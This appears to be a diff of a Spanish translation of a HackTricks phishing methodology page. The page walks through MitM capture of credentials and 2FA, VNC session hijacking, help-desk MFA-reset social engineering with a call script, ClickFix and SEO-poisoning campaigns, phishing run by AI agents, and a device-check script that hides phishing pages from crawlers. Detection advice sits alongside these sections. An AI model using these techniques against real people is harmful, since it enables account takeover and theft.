2. El usuario **envía** sus **credentials** a tu página falsa y la herramienta las reenvía a la página real, **comprobando si las credenciales funcionan**.
|
2. El usuario **envía** sus **credenciales** a tu página falsa y la herramienta las reenvía a la página real, **comprobando si funcionan**.
|
||||||
3. Si la cuenta está configurada con **2FA**, la página MitM pedirá el código y una vez que el **usuario lo introduce** la herramienta lo enviará a la página real.
|
3. Si la cuenta está configurada con **2FA**, la página MitM pedirá ese código y, una vez que el **usuario lo introduce**, la herramienta lo enviará a la página real.
|
||||||
4. Una vez que el usuario está autenticado tú (como atacante) habrás **capturado las credenciales, el 2FA, la cookie y cualquier información** de cada interacción mientras la herramienta realiza el MitM.
|
4. Una vez el usuario está autenticado, tú (como atacante) habrás **capturado las credenciales, el 2FA, la cookie y cualquier información** de cada interacción mientras la herramienta realiza el MitM.
|
||||||
|
|
||||||
### Via VNC
|
### Vía VNC
|
||||||
|
|
||||||
¿Qué pasa si en lugar de **enviar a la víctima a una página maliciosa** con apariencia igual a la original, la envías a una **sesión VNC con un navegador conectado al sitio real**? Podrás ver lo que hace, robar la contraseña, el MFA usado, las cookies...\
|
¿Qué pasa si, en lugar de **enviar a la víctima a una página maliciosa** con la misma apariencia que la original, la envías a una **sesión VNC con un navegador conectado a la página real**? Podrás ver lo que hace, robar la contraseña, la MFA utilizada, las cookies...\
|
||||||
Puedes hacer esto con [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
|
Puedes hacer esto con [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
|
||||||
|
|
||||||
## Detecting the detection
|
## Detectando la detección
|
||||||
|
|
||||||
Obviamente, una de las mejores maneras de saber si te han pillado es **buscar tu dominio en listas negras**. Si aparece listado, de alguna forma tu dominio fue detectado como sospechoso.\
|
Obviamente una de las mejores formas de saber si te han descubierto es **buscar tu dominio en listas negras**. Si aparece listado, de alguna forma tu dominio fue detectado como sospechoso.\
|
||||||
Una forma fácil de comprobar si tu dominio aparece en alguna blacklist es usar [https://malwareworld.com/](https://malwareworld.com)
|
Una forma fácil de comprobar si tu dominio aparece en alguna blacklist es usar [https://malwareworld.com/](https://malwareworld.com)
|
||||||
|
|
||||||
Sin embargo, hay otras formas de saber si la víctima está **buscando activamente actividad de phishing sospechosa en la red** como se explica en:
|
Sin embargo, hay otras formas de saber si la víctima está **buscando activamente actividad de phishing sospechosa en el entorno** como se explica en:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
detecting-phising.md
|
detecting-phising.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Puedes **comprar un dominio con un nombre muy similar** al dominio de la víctima **y/o generar un certificado** para un **subdominio** de un dominio controlado por ti **que contenga** la **palabra clave** del dominio de la víctima. Si la **víctima** realiza cualquier tipo de interacción **DNS o HTTP** con ellos, sabrás que **está buscando activamente** dominios sospechosos y tendrás que ser muy sigiloso.
|
Puedes **comprar un dominio con un nombre muy similar** al dominio de la víctima **y/o generar un certificado** para un **subdominio** de un dominio controlado por ti **conteniendo** la **palabra clave** del dominio de la víctima. Si la **víctima** realiza cualquier tipo de interacción DNS o HTTP con ellos, sabrás que **está buscando activamente** dominios sospechosos y tendrás que ser muy sigiloso.
|
||||||
|
|
||||||
### Evaluar el phishing
|
### Evaluar el phishing
|
||||||
|
|
||||||
Usa [**Phishious** ](https://github.com/Rices/Phishious) para evaluar si tu email terminará en la carpeta de spam o si va a ser bloqueado o será exitoso.
|
Usa [**Phishious** ](https://github.com/Rices/Phishious) para evaluar si tu email va a terminar en la carpeta de spam o si va a ser bloqueado o tendrá éxito.
|
||||||
|
|
||||||
## High-Touch Identity Compromise (Help-Desk MFA Reset)
|
## Compromiso de identidad de alto contacto (Reseteo de MFA vía Help-Desk)
|
||||||
|
|
||||||
Los conjuntos de intrusión modernos cada vez evitan totalmente los señuelos por email y **apuntan directamente al flujo de trabajo de service-desk / identity-recovery** para derrotar el MFA. El ataque es totalmente "living-off-the-land": una vez que el operador posee credenciales válidas pivota con herramientas administrativas integradas – no se requiere malware.
|
Los conjuntos de intrusión modernos cada vez más omiten por completo los correos y **apuntan directamente al flujo de trabajo del service-desk / recuperación de identidad** para derrotar el MFA. El ataque es completamente "living-off-the-land": una vez que el operador posee credenciales válidas pivotan con herramientas administrativas integradas – no se requiere malware.
|
||||||
|
|
||||||
### Flujo de ataque
|
### Flujo del ataque
|
||||||
1. Recon de la víctima
|
1. Recon de la víctima
|
||||||
* Recopilar detalles personales y corporativos de LinkedIn, breaches de datos, GitHub público, etc.
|
* Recolectar detalles personales y corporativos de LinkedIn, breaches de datos, GitHub público, etc.
|
||||||
* Identificar identidades de alto valor (ejecutivos, IT, finanzas) y enumerar el **proceso exacto del help-desk** para reset de contraseña / MFA.
|
* Identificar identidades de alto valor (ejecutivos, IT, finanzas) y enumerar el **proceso exacto del help-desk** para reset de contraseña / MFA.
|
||||||
2. Ingeniería social en tiempo real
|
2. Ingeniería social en tiempo real
|
||||||
* Llamar por teléfono, Teams o chat al help-desk haciéndose pasar por el objetivo (a menudo con **spoofed caller-ID** o **voz clonada**).
|
* Llamar por teléfono, Teams o chat al help-desk haciéndose pasar por el objetivo (a menudo con **caller-ID spoofing** o **voz clonada**).
|
||||||
* Proporcionar el PII previamente recopilado para pasar la verificación basada en conocimiento.
|
* Proporcionar la PII previamente recolectada para pasar la verificación basada en conocimiento.
|
||||||
* Convencer al agente para que **reseteé el secreto MFA** o realice un **SIM-swap** en un número móvil registrado.
|
* Convencer al agente para que **resetee el secreto MFA** o realice un **SIM-swap** en un número móvil registrado.
|
||||||
3. Acciones inmediatas post-acceso (≤60 min en casos reales)
|
3. Acciones inmediatas post-acceso (≤60 min en casos reales)
|
||||||
* Establecer un foothold a través de cualquier portal web SSO.
|
* Establecer un foothold a través de cualquier portal web SSO.
|
||||||
* Enumerar AD / AzureAD con herramientas integradas (sin dejar binarios):
|
* Enumerar AD / AzureAD con herramientas integradas (sin dropear binarios):
|
||||||
```powershell
|
```powershell
|
||||||
# list directory groups & privileged roles
|
# list directory groups & privileged roles
|
||||||
Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME}
|
Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME}
|
||||||
@ -467,35 +467,35 @@ Get-MgDirectoryRole | ft DisplayName,Id
|
|||||||
# Enumerate devices the account can login to
|
# Enumerate devices the account can login to
|
||||||
Get-MgUserRegisteredDevice -UserId <user@corp.local>
|
Get-MgUserRegisteredDevice -UserId <user@corp.local>
|
||||||
```
|
```
|
||||||
* Movimiento lateral con **WMI**, **PsExec**, o agentes legítimos de **RMM** ya en lista blanca en el entorno.
|
* Movimiento lateral con **WMI**, **PsExec**, o agentes legítimos **RMM** ya en la whitelist del entorno.
|
||||||
|
|
||||||
### Detección & Mitigación
|
### Detección y mitigación
|
||||||
* Tratar la recuperación de identidad por help-desk como una **operación privilegiada** – requerir step-up auth y aprobación del manager.
|
* Tratar la recuperación de identidad por help-desk como una **operación privilegiada** – requerir step-up auth y aprobación de manager.
|
||||||
* Desplegar reglas de **Identity Threat Detection & Response (ITDR)** / **UEBA** que alerten sobre:
|
* Desplegar **Identity Threat Detection & Response (ITDR)** / reglas **UEBA** que alerten sobre:
|
||||||
* Método MFA cambiado + autenticación desde nuevo dispositivo / geolocalización.
|
* Método MFA cambiado + autenticación desde un nuevo dispositivo / geo.
|
||||||
* Elevación inmediata del mismo principal (user-→-admin).
|
* Elevación inmediata del mismo principal (user → admin).
|
||||||
* Grabar las llamadas al help-desk y exigir una **devolución de llamada a un número ya registrado** antes de cualquier reseteo.
|
* Grabar llamadas del help-desk y aplicar un **call-back a un número ya registrado** antes de cualquier reset.
|
||||||
* Implementar **Just-In-Time (JIT) / Privileged Access** para que las cuentas recién reseteadas **no** hereden automáticamente tokens de alto privilegio.
|
* Implementar **Just-In-Time (JIT) / Privileged Access** para que las cuentas recién reseteadas **no** hereden automáticamente tokens de alto privilegio.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## At-Scale Deception – SEO Poisoning & “ClickFix” Campaigns
|
## Decepción a gran escala – SEO Poisoning y campañas “ClickFix”
|
||||||
Los grupos commodity compensan el coste de las operaciones high-touch con ataques masivos que convierten a **los motores de búsqueda & redes de anuncios en el canal de entrega**.
|
Las crews commodity compensan el coste de las operaciones de alto contacto con ataques masivos que convierten a los **motores de búsqueda y redes de anuncios en el canal de entrega**.
|
||||||
|
|
||||||
1. **SEO poisoning / malvertising** impulsa un resultado falso como `chromium-update[.]site` a los primeros anuncios de búsqueda.
|
1. **SEO poisoning / malvertising** impulsa un resultado falso como `chromium-update[.]site` a los anuncios de búsqueda principales.
|
||||||
2. La víctima descarga un pequeño **first-stage loader** (a menudo JS/HTA/ISO). Ejemplos observados por Unit 42:
|
2. La víctima descarga un pequeño **first-stage loader** (a menudo JS/HTA/ISO). Ejemplos vistos por Unit 42:
|
||||||
* `RedLine stealer`
|
* `RedLine stealer`
|
||||||
* `Lumma stealer`
|
* `Lumma stealer`
|
||||||
* `Lampion Trojan`
|
* `Lampion Trojan`
|
||||||
3. El loader exfiltra cookies del navegador + bases de datos de credenciales, luego descarga un **silent loader** que decide – *en tiempo real* – si desplegar:
|
3. El loader exfiltra cookies del navegador + DBs de credenciales, luego descarga un **silent loader** que decide – *en tiempo real* – si desplegar:
|
||||||
* RAT (p. ej. AsyncRAT, RustDesk)
|
* RAT (p. ej. AsyncRAT, RustDesk)
|
||||||
* ransomware / wiper
|
* ransomware / wiper
|
||||||
* componente de persistencia (clave Run en registry + tarea programada)
|
* componente de persistencia (clave Run del registro + tarea programada)
|
||||||
|
|
||||||
### Consejos de hardening
|
### Consejos de hardening
|
||||||
* Bloquear dominios recién registrados y aplicar **Advanced DNS / URL Filtering** en *search-ads* además del email.
|
* Bloquear dominios recién registrados y aplicar **Advanced DNS / URL Filtering** en *search-ads* así como en e-mail.
|
||||||
* Restringir la instalación de software a paquetes MSI firmados / Store, denegar la ejecución de `HTA`, `ISO`, `VBS` por política.
|
* Restringir la instalación de software a paquetes MSI firmados / Store, denegar la ejecución de `HTA`, `ISO`, `VBS` por política.
|
||||||
* Monitorizar procesos hijo de navegadores que abran instaladores:
|
* Monitorizar procesos hijos de navegadores que abran instaladores:
|
||||||
```yaml
|
```yaml
|
||||||
- parent_image: /Program Files/Google/Chrome/*
|
- parent_image: /Program Files/Google/Chrome/*
|
||||||
and child_image: *\\*.exe
|
and child_image: *\\*.exe
|
||||||
@ -504,18 +504,18 @@ and child_image: *\\*.exe
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## AI-Enhanced Phishing Operations
|
## Operaciones de phishing mejoradas con IA
|
||||||
Los atacantes ahora encadenan **APIs LLM & de clonación de voz** para cebos totalmente personalizados e interacción en tiempo real.
|
Los atacantes ahora encadenan **APIs LLM y de clonación de voz** para cebos totalmente personalizados e interacción en tiempo real.
|
||||||
|
|
||||||
| Layer | Example use by threat actor |
|
| Capa | Ejemplo de uso por el actor de amenaza |
|
||||||
|-------|-----------------------------|
|
|------|----------------------------------------|
|
||||||
|Automation|Generate & send >100 k emails / SMS with randomised wording & tracking links.|
|
| Automatización | Generar y enviar >100 k emails / SMS con redacción aleatoria y enlaces de tracking. |
|
||||||
|Generative AI|Produce *one-off* emails referencing public M&A, inside jokes from social media; deep-fake CEO voice in callback scam.|
|
| IA generativa | Producir correos *one-off* que hagan referencia a M&A públicas, chistes internos de redes sociales; voz deep-fake del CEO en una llamada de suplantación. |
|
||||||
|Agentic AI|Autonomously register domains, scrape open-source intel, craft next-stage mails when a victim clicks but doesn’t submit creds.|
|
| IA agentiva | Registrar dominios de forma autónoma, raspar intel open-source, crear emails de siguiente etapa cuando una víctima hace clic pero no envía credenciales. |
|
||||||
|
|
||||||
**Defence:**
|
**Defensa:**
|
||||||
• Añadir **banners dinámicos** que destaquen mensajes enviados desde automatización no confiable (mediante anomalías ARC/DKIM).
|
• Añadir **banners dinámicos** que destaquen mensajes enviados desde automatizaciones no confiables (por anomalías ARC/DKIM).
|
||||||
• Desplegar **frases de desafío biométricas de voz** para solicitudes telefónicas de alto riesgo.
|
• Desplegar **frases de desafío biométrico de voz** para solicitudes telefónicas de alto riesgo.
|
||||||
• Simular continuamente cebos generados por IA en los programas de concienciación – las plantillas estáticas están obsoletas.
|
• Simular continuamente cebos generados por IA en los programas de concienciación – las plantillas estáticas están obsoletas.
|
||||||
|
|
||||||
See also – agentic browsing abuse for credential phishing:
|
See also – agentic browsing abuse for credential phishing:
|
||||||
@ -526,20 +526,20 @@ ai-agent-mode-phishing-abusing-hosted-agent-browsers.md
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## MFA Fatigue / Push Bombing Variant – Forced Reset
|
## MFA Fatigue / Variante Push Bombing – Forced Reset
|
||||||
Además del push-bombing clásico, los operadores simplemente **forzan un nuevo registro MFA** durante la llamada al help-desk, anulando el token existente del usuario. Cualquier solicitud de inicio de sesión posterior parecerá legítima para la víctima.
|
Además del push-bombing clásico, los operadores simplemente **forzan un nuevo registro MFA** durante la llamada al help-desk, aniquilando el token existente del usuario. Cualquier solicitud de inicio de sesión subsecuente parecerá legítima para la víctima.
|
||||||
```text
|
```text
|
||||||
[Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”
|
[Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”
|
||||||
[Help-Desk] → AzureAD: ‘Delete existing methods’ → sends registration e-mail
|
[Help-Desk] → AzureAD: ‘Delete existing methods’ → sends registration e-mail
|
||||||
[Attacker] → Completes new TOTP enrolment on their own device
|
[Attacker] → Completes new TOTP enrolment on their own device
|
||||||
```
|
```
|
||||||
Monitorear eventos de AzureAD/AWS/Okta donde **`deleteMFA` + `addMFA`** ocurran **en cuestión de minutos desde la misma IP**.
|
Monitorea eventos de AzureAD/AWS/Okta donde **`deleteMFA` + `addMFA`** ocurran **en minutos desde la misma IP**.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## Clipboard Hijacking / Pastejacking
|
## Clipboard Hijacking / Pastejacking
|
||||||
|
|
||||||
Los atacantes pueden copiar silenciosamente comandos maliciosos en el clipboard de la víctima desde una página web comprometida o typosquatted y luego engañar al usuario para que los pegue en **Win + R**, **Win + X** o una ventana de terminal, ejecutando código arbitrario sin ninguna descarga o adjunto.
|
Los atacantes pueden copiar silenciosamente comandos maliciosos en el portapapeles de la víctima desde una página web comprometida o typosquatted y luego engañar al usuario para que los pegue dentro de **Win + R**, **Win + X** o una ventana de terminal, ejecutando código arbitrario sin ninguna descarga o archivo adjunto.
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -553,6 +553,33 @@ clipboard-hijacking.md
|
|||||||
mobile-phishing-malicious-apps.md
|
mobile-phishing-malicious-apps.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
### Mobile‑gated phishing to evade crawlers/sandboxes
|
||||||
|
Los operadores cada vez más colocan sus flujos de phishing detrás de una comprobación simple del dispositivo para que los crawlers de escritorio nunca lleguen a las páginas finales. Un patrón común es un pequeño script que prueba si el DOM es compatible con touch y envía el resultado a un endpoint del servidor; los clientes no móviles reciben HTTP 500 (o una página en blanco), mientras que a los usuarios móviles se les sirve el flujo completo.
|
||||||
|
|
||||||
|
Minimal client snippet (typical logic):
|
||||||
|
```html
|
||||||
|
<script src="/static/detect_device.js"></script>
|
||||||
|
```
|
||||||
|
`detect_device.js` lógica (simplificada):
|
||||||
|
```javascript
|
||||||
|
const isMobile = ('ontouchstart' in document.documentElement);
|
||||||
|
fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})})
|
||||||
|
.then(()=>location.reload());
|
||||||
|
```
|
||||||
|
Comportamiento del servidor observado con frecuencia:
|
||||||
|
- Establece una cookie de sesión durante la primera carga.
|
||||||
|
- Acepta `POST /detect {"is_mobile":true|false}`.
|
||||||
|
- Devuelve 500 (o placeholder) en GETs posteriores cuando `is_mobile=false`; sirve phishing solo si `true`.
|
||||||
|
|
||||||
|
Heurísticas de hunting y detección:
|
||||||
|
- Consulta urlscan: `filename:"detect_device.js" AND page.status:500`
|
||||||
|
- Telemetría web: secuencia de `GET /static/detect_device.js` → `POST /detect` → HTTP 500 para no‑móviles; rutas legítimas de víctimas móviles devuelven 200 con HTML/JS posterior.
|
||||||
|
- Bloquear o escrutar páginas que condicionen el contenido exclusivamente a `ontouchstart` u otras comprobaciones de dispositivo similares.
|
||||||
|
|
||||||
|
Consejos de defensa:
|
||||||
|
- Ejecutar crawlers con fingerprints de tipo móvil y JS habilitado para revelar contenido restringido.
|
||||||
|
- Generar alertas por respuestas 500 sospechosas tras `POST /detect` en dominios recién registrados.
|
||||||
|
|
||||||
## Referencias
|
## Referencias
|
||||||
|
|
||||||
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
|
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
|
||||||
@ -560,5 +587,6 @@ mobile-phishing-malicious-apps.md
|
|||||||
- [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
|
- [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
|
||||||
- [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
|
- [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
|
||||||
- [2025 Unit 42 Global Incident Response Report – Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/)
|
- [2025 Unit 42 Global Incident Response Report – Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/)
|
||||||
|
- [Silent Smishing – mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user